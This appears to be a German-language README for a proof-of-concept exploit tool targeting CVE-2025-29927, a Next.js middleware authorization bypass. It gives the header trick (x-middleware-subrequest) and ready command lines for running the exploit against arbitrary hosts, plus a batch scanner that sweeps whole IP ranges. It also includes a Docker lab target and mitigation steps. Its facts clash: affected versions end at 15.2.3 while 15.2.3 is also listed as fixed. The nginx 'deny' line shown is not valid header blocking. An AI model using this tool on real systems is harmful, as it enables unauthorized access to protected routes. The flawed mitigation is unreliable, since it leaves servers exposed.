
CVE-2025-29927 - Next.js漏洞测试工具
⚠️ Rechtlicher Hinweis: Dieses Tool dient ausschließlich zu Sicherheitsforschungs-, autorisierten Penetrationstest- und Bildungszwecken. Die Verwendung dieses Tools gegen Zielsysteme ohne ausdrückliche Genehmigung ist illegal und unethisch.
CVE-2025-29927 ist eine kritische Sicherheitslücke in Next.js, die es Angreifern ermöglicht, middleware-basierte Autorisierungskontrollen durch unsachgemäße Handhabung des x-middleware-subrequest-Headers zu umgehen.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2025-29927 |
| CVSS-Score | 9.8 (Kritisch) |
| Betroffene Versionen | Next.js 13.4.0 – 15.2.3 |
| Behobene Versionen | Next.js 14.2.25+, 15.2.3+ |
| Entdeckungsdatum | 21. März 2025 |
| Schwachstellentyp | Autorisierungsbypass |
Grundursache: Die Next.js-Middleware behandelt den x-middleware-subrequest-Header fehlerhaft und betrachtet Anfragen mit diesem Header als interne vertrauenswürdige Unteranfragen, wodurch die Autorisierungsprüfung umgangen wird.
Auswirkung: Angreifer können ohne Authentifizierung auf geschützte Routen (wie /admin, /api/sensitive) zugreifen.
requests)# Repository klonen
git clone https://github.com/hujiaozhuzhu/CVE-2025-29927-POC.git
cd CVE-2025-29927-POC
# Abhängigkeiten installieren
pip install -r requirements.txt
python exploit/cve_2025_29927.py -u http://127.0.0.1:3000
# Benutzerdefinierter Admin-Pfad
python exploit/cve_2025_29927.py -u http://target.com -p /admin
# Ausführliche Ausgabe
python exploit/cve_2025_29927.py -u http://target.com -v
# Ergebnisse in Datei speichern
python exploit/cve_2025_29927.py -u http://target.com -o results.txt
# Mehrere Ziele aus Datei scannen
python exploit/batch_scanner.py -f targets.txt
# IP-Bereich scannen
python exploit/batch_scanner.py --range 192.168.1.0-255
cd target
docker-compose up -d
Auf die angreifbare Anwendung zugreifen: http://localhost:3000
cd target
npm install
npm run dev
Normale Anfrage: Senden einer GET-Anfrage ohne Exploit-Header
Exploit-Anfrage: Senden einer GET-Anfrage mit x-middleware-subrequest: 1
Next.js aktualisieren
npm install next@latest
# oder
npm install [email protected]
Angreifbaren Header im Reverse Proxy blockieren
location / {
deny x-middleware-subrequest;
# ... restliche Konfiguration
}
# Schwachstellentest ausführen
python exploit/cve_2025_29927.py -u http://localhost:3000 -t
# Testsuite ausführen
python tests/test_exploit.py
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE-Datei für Details.
Wichtig: Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Sicherheitstests.
Mit der Nutzung dieses Tools stimmen Sie zu:
Wenn Sie ein Problem mit diesem Tool oder eine neue Schwachstelle entdecken, melden Sie sie verantwortungsvoll:
Denken Sie daran: Sicherheitsforschung sollte stets ethisch und legal sein. Nutzen Sie Ihre Fähigkeiten, um das Internet sicherer zu machen! 🛡️